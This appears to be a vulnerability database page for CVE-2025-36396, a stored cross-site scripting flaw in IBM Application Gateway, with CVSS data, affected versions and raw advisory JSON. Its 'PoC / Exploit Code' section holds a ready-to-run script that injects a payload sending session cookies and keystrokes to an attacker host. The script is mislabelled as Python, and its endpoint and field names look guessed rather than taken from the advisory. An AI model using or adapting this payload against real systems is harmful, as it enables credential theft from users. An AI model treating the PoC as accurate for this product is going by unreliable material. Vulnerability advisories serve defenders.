Security Vulnerability Report
中文
CVE-2025-36396 CVSS 5.4 MEDIUM

CVE-2025-36396

Published: 2026-01-20 16:16:04
Last Modified: 2026-01-26 19:46:28

Description

IBM Application Gateway 23.10 through 25.09 is vulnerable to cross-site scripting. This vulnerability allows an authenticated user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:ibm:application_gateway:*:*:*:*:*:*:*:* - VULNERABLE
IBM Application Gateway 23.10
IBM Application Gateway 23.11
IBM Application Gateway 24.01
IBM Application Gateway 24.02
IBM Application Gateway 24.03
IBM Application Gateway 24.04
IBM Application Gateway 24.05
IBM Application Gateway 24.06
IBM Application Gateway 24.07
IBM Application Gateway 24.08
IBM Application Gateway 24.09
IBM Application Gateway 24.10
IBM Application Gateway 25.01
IBM Application Gateway 25.02
IBM Application Gateway 25.03
IBM Application Gateway 25.04
IBM Application Gateway 25.05
IBM Application Gateway 25.06
IBM Application Gateway 25.07
IBM Application Gateway 25.08
IBM Application Gateway 25.09

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-36396 PoC - IBM Application Gateway Stored XSS // This PoC demonstrates how an authenticated user can inject JavaScript // into the IBM Application Gateway Web UI const axios = require('axios'); async function exploitXSS(targetUrl, sessionCookie) { const xssPayload = '<script>\n' + ' // Steal session cookies ' + ' fetch("https://attacker.com/log?c=" + encodeURIComponent(document.cookie)); ' + ' // Alternative: keylogger ' + ' document.addEventListener("keypress", function(e) { ' + ' fetch("https://attacker.com/keys?k=" + e.key); ' + ' }); ' + '</script>'; try { // Inject XSS payload into user profile/notes field const injectResponse = await axios.post( `${targetUrl}/api/user/profile`, { username: 'attacker_user', notes: xssPayload, email: '[email protected]' }, { headers: { 'Cookie': `JSESSIONID=${sessionCookie}`, 'Content-Type': 'application/json' } } ); console.log('[+] XSS payload injected successfully'); console.log('[+] Payload will execute when admin views user profile'); } catch (error) { console.error('[-] Exploitation failed:', error.message); } } // Usage: node cve-2025-36396-poc.js <target-url> <session-cookie> exploitXSS(process.argv[2], process.argv[3]);

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36396", "sourceIdentifier": "[email protected]", "published": "2026-01-20T16:16:03.873", "lastModified": "2026-01-26T19:46:28.037", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Application Gateway 23.10 through 25.09 is vulnerable to cross-site scripting. This vulnerability allows an authenticated user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session."}, {"lang": "es", "value": "IBM Application Gateway 23.10 hasta 25.09 es vulnerable a cross-site scripting. Esta vulnerabilidad permite a un usuario autenticado incrustar código JavaScript arbitrario en la interfaz de usuario web, alterando así la funcionalidad prevista y lo que podría llevar a la divulgación de credenciales dentro de una sesión de confianza."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:application_gateway:*:*:*:*:*:*:*:*", "versionStartIncluding": "23.10", "versionEndIncluding": "25.09", "matchCriteriaId": "24D8BDA9-CB77-41CA-95ED-ABBEA4F88CAA"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7256857", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}